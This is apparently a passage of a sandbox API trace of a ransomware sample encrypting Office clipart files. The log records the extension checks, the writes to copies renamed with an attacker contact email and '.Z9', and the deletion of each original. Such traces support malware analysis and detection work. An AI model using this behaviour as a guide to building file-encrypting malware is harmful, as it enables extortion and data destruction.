	[0092.733] lstrlenW (lpString=".1cd") returned 4
	[0092.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0092.733] lstrlenW (lpString=".jpg") returned 4
	[0092.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0092.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0092.733] lstrlenW (lpString=".doc") returned 4
	[0092.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.733] lstrlenW (lpString=".docx") returned 5
	[0092.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.733] lstrlenW (lpString=".pdf") returned 4
	[0092.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.734] lstrlenW (lpString=".xls") returned 4
	[0092.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.734] lstrlenW (lpString=".xlsx") returned 5
	[0092.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.734] lstrlenW (lpString=".ppt") returned 4
	[0092.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0092.734] lstrlenW (lpString=".zip") returned 4
	[0092.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.734] lstrlenW (lpString=".rar") returned 4
	[0092.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.734] lstrlenW (lpString=".bz2") returned 4
	[0092.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.734] lstrlenW (lpString=".7z") returned 3
	[0092.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0092.734] lstrlenW (lpString=".dbf") returned 4
	[0092.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0092.734] lstrlenW (lpString=".1cd") returned 4
	[0092.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0092.734] lstrlenW (lpString=".jpg") returned 4
	[0092.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.734] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.735] lstrlenW (lpString="FD00361_.WMF") returned 12
	[0092.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.735] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=4074) returned 1
	[0092.735] CloseHandle (hObject=0x384) returned 1
	[0092.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220
	[0092.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.735] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.735] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.736] GetLastError () returned 0x0
	[0092.736] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xfea, lpOverlapped=0x0) returned 1
	[0092.739] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xff0, lpOverlapped=0x0) returned 1
	[0092.740] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.741] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.741] SetEndOfFile (hFile=0x350) returned 1
	[0092.741] CloseHandle (hObject=0x350) returned 1
	[0092.741] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.741] SetEndOfFile (hFile=0x384) returned 1
	[0092.742] CloseHandle (hObject=0x384) returned 1
	[0092.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1
	[0092.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0092.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0092.743] lstrlenW (lpString=".doc") returned 4
	[0092.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.743] lstrlenW (lpString=".docx") returned 5
	[0092.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.743] lstrlenW (lpString=".pdf") returned 4
	[0092.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.743] lstrlenW (lpString=".xls") returned 4
	[0092.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.743] lstrlenW (lpString=".xlsx") returned 5
	[0092.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.743] lstrlenW (lpString=".ppt") returned 4
	[0092.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0092.743] lstrlenW (lpString=".zip") returned 4
	[0092.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.743] lstrlenW (lpString=".rar") returned 4
	[0092.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.743] lstrlenW (lpString=".bz2") returned 4
	[0092.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.743] lstrlenW (lpString=".7z") returned 3
	[0092.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0092.744] lstrlenW (lpString=".dbf") returned 4
	[0092.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0092.744] lstrlenW (lpString=".1cd") returned 4
	[0092.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0092.744] lstrlenW (lpString=".jpg") returned 4
	[0092.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0092.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0092.744] lstrlenW (lpString=".doc") returned 4
	[0092.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.744] lstrlenW (lpString=".docx") returned 5
	[0092.744] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.744] lstrlenW (lpString=".pdf") returned 4
	[0092.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.744] lstrlenW (lpString=".xls") returned 4
	[0092.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.744] lstrlenW (lpString=".xlsx") returned 5
	[0092.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.744] lstrlenW (lpString=".ppt") returned 4
	[0092.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0092.744] lstrlenW (lpString=".zip") returned 4
	[0092.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.744] lstrlenW (lpString=".rar") returned 4
	[0092.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.744] lstrlenW (lpString=".bz2") returned 4
	[0092.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.744] lstrlenW (lpString=".7z") returned 3
	[0092.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0092.744] lstrlenW (lpString=".dbf") returned 4
	[0092.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0092.745] lstrlenW (lpString=".1cd") returned 4
	[0092.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0092.745] lstrlenW (lpString=".jpg") returned 4
	[0092.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.745] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.745] lstrlenW (lpString="FD00369_.WMF") returned 12
	[0092.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.745] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=8552) returned 1
	[0092.745] CloseHandle (hObject=0x384) returned 1
	[0092.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220
	[0092.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.746] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.746] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.746] GetLastError () returned 0x0
	[0092.746] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x2168, lpOverlapped=0x0) returned 1
	[0092.748] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x2170, lpOverlapped=0x0) returned 1
	[0092.749] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.749] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.749] SetEndOfFile (hFile=0x350) returned 1
	[0092.749] CloseHandle (hObject=0x350) returned 1
	[0092.749] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.749] SetEndOfFile (hFile=0x384) returned 1
	[0092.751] CloseHandle (hObject=0x384) returned 1
	[0092.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1
	[0092.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0092.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0092.751] lstrlenW (lpString=".doc") returned 4
	[0092.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.751] lstrlenW (lpString=".docx") returned 5
	[0092.751] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.751] lstrlenW (lpString=".pdf") returned 4
	[0092.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.751] lstrlenW (lpString=".xls") returned 4
	[0092.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.751] lstrlenW (lpString=".xlsx") returned 5
	[0092.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.751] lstrlenW (lpString=".ppt") returned 4
	[0092.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0092.751] lstrlenW (lpString=".zip") returned 4
	[0092.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.752] lstrlenW (lpString=".rar") returned 4
	[0092.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.752] lstrlenW (lpString=".bz2") returned 4
	[0092.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.752] lstrlenW (lpString=".7z") returned 3
	[0092.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0092.752] lstrlenW (lpString=".dbf") returned 4
	[0092.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0092.752] lstrlenW (lpString=".1cd") returned 4
	[0092.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0092.752] lstrlenW (lpString=".jpg") returned 4
	[0092.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0092.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0092.752] lstrlenW (lpString=".doc") returned 4
	[0092.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.752] lstrlenW (lpString=".docx") returned 5
	[0092.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.752] lstrlenW (lpString=".pdf") returned 4
	[0092.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.752] lstrlenW (lpString=".xls") returned 4
	[0092.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.752] lstrlenW (lpString=".xlsx") returned 5
	[0092.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.752] lstrlenW (lpString=".ppt") returned 4
	[0092.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0092.752] lstrlenW (lpString=".zip") returned 4
	[0092.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.752] lstrlenW (lpString=".rar") returned 4
	[0092.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.752] lstrlenW (lpString=".bz2") returned 4
	[0092.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.753] lstrlenW (lpString=".7z") returned 3
	[0092.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0092.753] lstrlenW (lpString=".dbf") returned 4
	[0092.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0092.753] lstrlenW (lpString=".1cd") returned 4
	[0092.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0092.753] lstrlenW (lpString=".jpg") returned 4
	[0092.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.753] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.753] lstrlenW (lpString="FD00382_.WMF") returned 12
	[0092.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.753] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=8424) returned 1
	[0092.753] CloseHandle (hObject=0x384) returned 1
	[0092.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220
	[0092.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.754] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.754] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.754] GetLastError () returned 0x0
	[0092.754] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x20e8, lpOverlapped=0x0) returned 1
	[0092.775] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x20f0, lpOverlapped=0x0) returned 1
	[0092.776] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.776] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.776] SetEndOfFile (hFile=0x350) returned 1
	[0092.776] CloseHandle (hObject=0x350) returned 1
	[0092.776] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.776] SetEndOfFile (hFile=0x384) returned 1
	[0092.777] CloseHandle (hObject=0x384) returned 1
	[0092.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1
	[0092.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0092.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0092.778] lstrlenW (lpString=".doc") returned 4
	[0092.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.778] lstrlenW (lpString=".docx") returned 5
	[0092.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.778] lstrlenW (lpString=".pdf") returned 4
	[0092.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.778] lstrlenW (lpString=".xls") returned 4
	[0092.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.778] lstrlenW (lpString=".xlsx") returned 5
	[0092.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.778] lstrlenW (lpString=".ppt") returned 4
	[0092.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0092.778] lstrlenW (lpString=".zip") returned 4
	[0092.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.778] lstrlenW (lpString=".rar") returned 4
	[0092.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.778] lstrlenW (lpString=".bz2") returned 4
	[0092.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.778] lstrlenW (lpString=".7z") returned 3
	[0092.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0092.778] lstrlenW (lpString=".dbf") returned 4
	[0092.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
